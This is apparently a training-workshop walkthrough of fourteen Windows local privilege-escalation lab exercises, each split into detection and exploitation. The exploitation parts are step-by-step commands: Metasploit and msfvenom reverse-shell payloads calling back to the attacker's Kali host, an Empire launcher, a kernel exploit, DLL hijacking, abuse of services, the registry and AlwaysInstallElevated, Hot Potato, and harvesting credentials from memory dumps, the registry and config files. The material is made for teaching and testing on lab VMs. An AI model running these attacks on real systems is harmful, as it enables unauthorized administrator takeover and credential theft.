Windows / Linux Local Privilege Escalation Workshop – Lab Exercises Walkthrough

(Day 1)

Sagi Shahar

Windows Lab Exercises

Exercise 1 – Kernel

Detection

Windows VM

1. Open command prompt and run: powershell -nop -ep bypass
2. Import the Sherlock module by typing:
   Import-Module C:\Users\User\Desktop\Tools\Sherlock\Sherlock.ps1
3. Scan for vulnerabilities by typing: Find-AllVulns

Exploitation

Kali VM

1. Open command prompt and run: msfconsole
2. In Metasploit (msf > prompt) type: use exploit/multi/script/web_delivery
3. The reverse shell will be gained via a PowerShell command. This is reflected by updating the target option. In Metasploit (msf > prompt) type: set target 2
4. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
5. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
6. In Metasploit (msf > prompt) type: run
7. Copy the generated output (normally, spans over 2 lines).

Windows VM

1. Open command prompt and paste the copied output.

Kali VM

1. Wait for a session to be created, it may take a few seconds.
2. In Metasploit (msf > prompt) type: sessions -i [Session ID]
3. The Windows VM is x64 therefore it is required to migrate to an x64 process. In Meterpreter(meterpreter > prompt) type: run migrate -n explorer.exe
4. In Meterpreter(meterpreter > prompt) type: background
5. In Metasploit (msf > prompt) type: use exploit/windows/local/ms14_058_track_popup_menu
6. Yet again, it is required that the target is changed to x64. In Metasploit (msf > prompt) type: set target 1
7. In Metasploit (msf > prompt) type: set session [Session ID]
8. In Metasploit (msf > prompt) type: set payload generic/shell_reverse_tcp
9. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
10. In Metasploit (msf > prompt) type: set lport 4455
11. In Metasploit (msf > prompt) type: run
12. Wait for a command prompt to appear and type: whoami

Exercise 2 – Services (DLL Hijacking)

Detection

Windows VM

1. Open the Tools folder that is located on the desktop and then go the Process Monitor folder.
2. In reality, executables would be copied from the victim's host over to the attacker's host for analysis during run time. Alternatively, the same software can be installed on the attacker's host for analysis, in case they can obtain it. To simulate this, right click on Procmon.exe and select 'Run as administrator' from the menu.
3. In procmon, select from the left-most drop down menu 'Process Name'.
4. In the input box on the same line type: dllhijackservice.exe
5. Make sure the line reads "Process Name is dllhijackservice.exe then Include" and click on the 'Add' button, then 'Apply' and lastly on 'OK'.
6. In procmon, press Ctrl-H
7. In the Process Monitor Highlighting dialogue box, select from the left-most drop down menu 'Result'.
8. In the input box on the same line type: NAME NOT FOUND
9. Make sure the line reads "Result is NAME NOT FOUND then Include" and click on the 'Add' button, then 'Apply' and lastly on 'OK'.
10. Open command prompt and type: sc start dllsvc
11. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute 'C:\Temp\hijackme.dll' yet it could not do that as the file was not found. Note that 'C:\Temp' is a writable location.

Exploitation

Windows VM

1. Copy 'C:\Users\User\Desktop\Tools\Source\windows_dll.c' to the Kali VM.

Kali VM

1. Open windows_dll.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
2. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
3. Copy the generated file hijackme.dll, to the Windows VM.

Windows VM

1. Place hijackme.dll in 'C:\Temp'.
2. Open command prompt and type: sc stop dllsvc & sc start dllsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

Exercise 3 – Services (binPath)

Detection

Windows VM

1. Open command prompt and type:
   C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc
2. Notice that the output suggests that the user “User-PC\User” has the “SERVICE_CHANGE_CONFIG” permission.

Exploitation

Windows VM

1. In command prompt type:
   sc config daclsvc binpath= "net localgroup administrators user /add"
2. In command prompt type: sc start daclsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

Exercise 4 – Services (Unquoted Path)

Detection

Windows VM

1. Open command prompt and type: sc qc unquotedsvc
2. Notice that the “BINARY_PATH_NAME” field displays a path that is not confined between quotes.

Exploitation

Kali VM

1. Open command prompt and type:
   msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
2. Copy the generated file, common.exe, to the Windows VM.

Windows VM

1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
2. Open command prompt and type: sc start unquotedsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

Exercise 5 – Services (Registry)

Detection

Windows VM

1. Open powershell prompt and type:
   Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
2. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.

Exploitation

Windows VM

1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_service.c’ to the Kali VM.

Kali VM

1. Open windows_service.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
2. Exit the text editor and compile the file by typing the following in the command prompt:
   x86_64-w64-mingw32-gcc windows_service.c -o x.exe
3. Copy the generated file x.exe, to the Windows VM.

Windows VM

1. Place x.exe in ‘C:\Temp’.
2. Open command prompt at type:
   reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
3. In the command prompt type: sc start regsvc
4. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

Exercise 6 – Services (Executable File)

Detection

Windows VM

1. Open command prompt and type:
   C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
2. Notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the filepermservice.exe file.

Exploitation

Windows VM

1. Open command prompt and type:
   copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
2. In command prompt type: sc start filepermsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

Exercise 7 – Registry (Autorun)

Detection

Windows VM

1. Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
2. In Autoruns, click on the ‘Logon’ tab.
3. From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.
4. In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe –wvu "C:\Program Files\Autorun Program"
5. From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.

Exploitation

Kali VM

1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use multi/handler
3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
5. In Metasploit (msf > prompt) type: run
6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
7. Copy the generated file, program.exe, to the Windows VM.

Windows VM

1. Place program.exe in ‘C:\Program Files\Autorun Program’.
2. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.

Kali VM

1. Wait for a new session to open in Metasploit.
2. In Metasploit (msf > prompt) type: sessions -i [Session ID]
3. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid

Exercise 8 – Registry (AlwaysInstallElevated)

Detection

Windows VM

1. Open command prompt and type:
   reg query HKLM\Software\Policies\Microsoft\Windows\Installer
2. From the output, notice that "AlwaysInstallElevated" value is 1.
3. In command prompt type:
   reg query HKCU\Software\Policies\Microsoft\Windows\Installer
4. From the output, notice that "AlwaysInstallElevated" value is 1.

Exploitation

Kali VM

1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi
2. Copy the generated file, setup.msi, to the Windows VM.

Windows VM

1. Place 'setup.msi' in 'C:\Temp'.
2. Open command prompt and type: msiexec /quiet /qn /i C:\Temp\setup.msi
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

Exercise 9 – Password Mining (Memory)

Exploitation

Kali VM

1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic
3. In Metasploit (msf > prompt) type: set uripath x
4. In Metasploit (msf > prompt) type: run

Windows VM

1. Open Internet Explorer and browse to: http://[Kali VM IP Address]/x
2. Open command prompt and type: taskmgr
3. In Windows Task Manager, right-click on the "iexplore.exe" in the "Image Name" column and select "Create Dump File" from the popup menu.
4. Copy the generated file, iexplore.DMP, to the Kali VM.

Kali VM

1. Place 'iexplore.DMP' on the desktop.
2. Open command prompt and type:
   strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
3. Select the Copy the Base64 encoded string.
4. In command prompt type: echo -ne [Base64 String] | base64 -d
5. Notice the credentials in the output.

Exercise 10 – Password Mining (Registry)

Exploitation

Windows VM

1. Open command and type:
   reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
2. In command prompt type:
   reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
3. Notice the credentials, from the output.
4. In command prompt type:
   reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42 -v ProxyUsername
5. In command prompt type:
   reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42 -v ProxyPassword
6. Notice the credentials, from the output.
7. In command prompt type:
   reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Password
8. In command prompt type:
   reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v PasswordViewOnly
9. Make note of the encrypted passwords and type:
   C:\Users\User\Desktop\Tools\vncpwd\vncpwd.exe [Encrypted Password]
10. From the output, make note of the credentials.

Exercise 11 – Password Mining (Configuration Files)

Exploitation

Windows VM

1. Open command prompt and type:
   notepad C:\Windows\Panther\Unattend.xml
2. Scroll down to the “<Password>” property and copy the base64 string that is confined between the “<Value>” tags underneath it.
3. In command prompt type: echo [Base64 String] > C:\Temp\1.txt
4. In command prompt type:
   certutil -decode C:\Temp\1.txt C:\Temp\2.txt >nul & type C:\Temp\2.txt
5. Notice the password in the output.
6. Copy the file C:\ProgramData\McAfee\Common Framework\SiteList.xml to the Kali VM.
7. Copy the file
   C:\Users\User\Desktop\Tools\mcafee_sitelist_pwd_decrypt\mcafee_sitelist_pwd_decrypt.py to the Kali VM.

Kali VM

1. Place the files ‘SiteList.xml’ and ‘mcafee_sitelist_pwd_decrypt.py’ on the desktop.
2. Open command prompt and type: grep -i password /root/Desktop/SiteList.xml
3. In command prompt, copy the encrypted password hash and paste it in the following command: python /root/Desktop mcafee_sitelist_pwd_decrypt.py [Encrypted Password]
4. Notice the clear-text password in the output.

Windows VM

1. Open command prompt and type:
   copy C:\inetpub\wwwroot\web.config C:\Temp
8. In command prompt type:
   C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe -pdf "connectionStrings" C:\Temp
9. In command prompt type: type C:\temp\web.config | findstr connectionString
10. From the output, notice the clear-text credentials.

Exercise 12 – Scheduled Tasks (Missing Binary)

Detection

Windows VM

1. Open command prompt and type:
   C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
2. In Autoruns, click on the ‘Scheduled Tasks’ tab.
3. From the listed results, notice that the “MyTask2” entry is pointing to “C:\Missing Scheduled Binary\program.exe” file, however it is missing.
4. In command prompt type:
   C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -w "C:\Missing Scheduled Binary\"
5. From the output, notice that the current user has write permission on the directory.

Exploitation

Kali VM

1. Open command prompt and type:
   cd /opt/Empire && ./empire
2. In Empire [(Empire) > prompt], type: listeners
3. In Empire [(Empire) > prompt], type: uselistener http
4. In Empire [(Empire) > prompt], type: set DefaultDelay 0
5. In Empire [(Empire) > prompt], type: execute
6. In Empire [(Empire) > prompt], type: launcher powershell
7. Copy the output generated by Empire.
8. Open a new command prompt and type:
   echo 'int main() { system("[Paste Empire Output]"); return 0; }' > program.c
9. In command prompt type:
   x86_64-w64-mingw32-gcc program.c -o program.exe
10. Copy the generated file, program.exe to the Windows VM.

Windows VM

1. Place program.exe in “C:\Missing Scheduled Binary” directory.
2. Restart the Windows VM.

Kali VM

1. In Empire [(Empire) > prompt], once a message regarding the new agent has appeared, type: agents
2. In Empire [(Empire) > prompt], type: interact [AGENT NAME]
3. In Empire [(Empire) > prompt], type: sysinfo
4. From the output, notice that the username is “SYSTEM”.

Exercise 13 – Hot Potato

Exploitation

Windows VM

1. In command prompt type: powershell.exe -nop -ep bypass
2. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
3. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
4. To confirm that the attack was successful, in Power Shell prompt type:
   net localgroup administrators

Exercise 14 – Startup Applications

Detection

Windows VM

1. Open command prompt and type: icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
2. From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.

Exploitation

Kali VM

1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use multi/handler
3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
5. In Metasploit (msf > prompt) type: run
6. Open another command prompt and type:
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe
7. Copy the generated file, x.exe, to the Windows VM.

Windows VM

1. Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.
2. Logoff.
3. Login with the administrator account credentials.

Kali VM

1. Wait for a session to be created, it may take a few seconds.
2. In Meterpreter(meterpreter > prompt) type: getuid
3. From the output, notice the user is “User-PC\Admin”